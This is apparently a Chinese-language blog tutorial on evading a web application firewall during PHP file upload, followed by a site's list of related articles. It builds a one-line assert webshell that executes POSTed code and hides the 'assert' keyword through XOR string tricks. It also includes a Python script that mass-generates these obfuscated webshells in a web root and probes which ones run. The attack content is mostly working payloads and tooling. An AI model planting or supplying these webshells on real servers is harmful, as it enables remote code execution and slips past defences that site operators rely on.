文件上传-PHP异或绕过WAF

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
简介: 文件上传-PHP异或绕过WAF

测试环境

       phpStudy,PHP5.4.45,hackBar

PHP异或流程

       在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。

异或运算法则

       0&0=0;1&1=0;0&1=1;1&0=1,两个二进制数相同时,异或为0,不同为1

       例:PHP中的字符串a和@


<?php echo "a" ^ "@"; //输出:!?>

6b248a327523e6d39f13faee65f2893c.png

转化原理

   第一步:

       a的ASCII值:97

       !的ASCII值:33

  第二步:

       97转化为二进制:1100001

       33转化为二进制:0100001

   第三步:

       二进制异或结果:1000000

       二进制转化为ASCII:64

       ASCII转化为字符串:

php中的assert()

       编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作

构建webshell


<?php $a='assert';$a($_POST['x']); ?>

ad88fab0fee05785a5960bf68aaf3940.png

异或绕过

通过异或运算法则,assert中的's'通过异或就是'N'^'='

webshell变形为:


<?php $a='a'.('N'^'=').'sert';$a($_POST['x']); ?>

e92659d43e5702ff5dc9a951f34fa90b.png

执行成功

9b3709725bd4918cafc14767cf2d46b1.png

制作时,^左边为我们想要的php字符,右边可设置1~9/a-z/A-Z,只要得到异或出来的值即可,之后将得到的值替换原来^左边的值,再次异或,即为你想要的php字符。如"!"^“a”,异或后的值为@,再将原来的!替换为@,"@"^"a"的结果为!,所以我们绕过时,可以使用异或来得到我们想要的值


通过手动查找很费时间。可通过python脚本查找符合条件的shell

    import queueimport requestsfrom concurrent.futures import ThreadPoolExecutor
    def bypa():    data = {        'x': 'phpinfo();'    }    while not q.empty():        filename = q.get()        url = 'http://127.0.0.1/d/' + filename        #print(url)        r= requests.post(url=url,data=data).content.decode('utf-8')        if 'Build Date' in r:            print('bypass->'+filename+'|' +'成功')
    if __name__ == '__main__':    q=queue.Queue()    for i in range(1,127):        for y in range(1,127):            payload="'"+chr(i)+"'"+"^"+"'"+chr(y)+"'"            srp="<?php $a='a'.("+payload+").'sert';$a($_POST[x]);?>"            filename=str(i)+'wd'+str(y)+'.php'            q.put(filename)            with open('D:/phpstudy_pro/WWW/d/'+filename,'w') as f:                f.write(srp)                f.close()    print('fuzz文件生成成功')    with ThreadPoolExecutor(max_workers=5) as t:        task1 = t.submit(bypa)    print('over')

    在网站www目录的d目录下生成全部可能的文件在进行请求是否成功

    c26ad7f1d41d87131575e14024e12394.png

    这些文件都是可以被执行的,随便找一个测试一下可以被执行(125wd46.php)

    6098013c338fcf696b7ea7e5d69a1ce5.png

    b2bd52da3b9c8b42e822e03a744de843.png

    可以把每个字符都异或处理,列如:把as换成('!'^'@')('}'^'.')可以执行


    <?php $a=('!'^'@').('}'^'.').'sert';$a($_POST['x']);?>

    85319d168c30658a0795e69b22303a33.png

    相关文章
    |
    存储 安全 网络协议
    绕过WAF和多个防护软件提权案例
    绕过WAF和多个防护软件提权案例
    185 0
    |
    6月前
    |
    关系型数据库 MySQL
    web简易开发(二){html5+php实现文件上传及通过关键字搜索已上传图片)}
    web简易开发(二){html5+php实现文件上传及通过关键字搜索已上传图片)}
    |
    2月前
    |
    开发框架 安全 .NET
    Web安全-文件上传漏洞与WAF绕过
    Web安全-文件上传漏洞与WAF绕过
    162 4
    |
    2月前
    |
    PHP
    深入浅出PHP之文件上传功能
    【9月更文挑战第26天】本文将带你了解PHP中的文件上传功能,从基本概念到实战操作,一步步教你如何实现文件上传。我们将通过代码示例和详细的解释,让你轻松掌握这一技能。
    |
    5月前
    |
    运维 Serverless 数据处理
    函数计算产品使用问题之 php环境中如何修改PHP允许的文件上传大小和POST最大大小
    函数计算产品作为一种事件驱动的全托管计算服务,让用户能够专注于业务逻辑的编写,而无需关心底层服务器的管理与运维。你可以有效地利用函数计算产品来支撑各类应用场景,从简单的数据处理到复杂的业务逻辑,实现快速、高效、低成本的云上部署与运维。以下是一些关于使用函数计算产品的合集和要点,帮助你更好地理解和应用这一服务。
    |
    5月前
    |
    安全 PHP 数据安全/隐私保护
    WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
    WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
    102 0
    |
    6月前
    |
    安全 PHP
    【PHP开发专栏】PHP文件上传与下载实现
    【4月更文挑战第30天】本文介绍了在PHP中实现文件上传和下载的详细步骤。文件上传通过`$_FILES`全局数组处理,包括设置HTML表单、PHP脚本处理上传及安全性考虑。文件下载则可使用`readfile()`、`fpassthru()`或`file_get_contents()`函数,同时关注安全问题,如防止目录遍历漏洞。文中还提供了一个简单的图片分享网站案例,演示了上传和下载功能的集成。
    117 1
    |
    6月前
    |
    PHP
    利用一段代码轻松绕过PHP授权系统
    利用一段代码轻松绕过PHP授权系统
    63 0
    |
    6月前
    |
    安全 PHP
    PHP反序列化--_wakeup()绕过
    PHP反序列化--_wakeup()绕过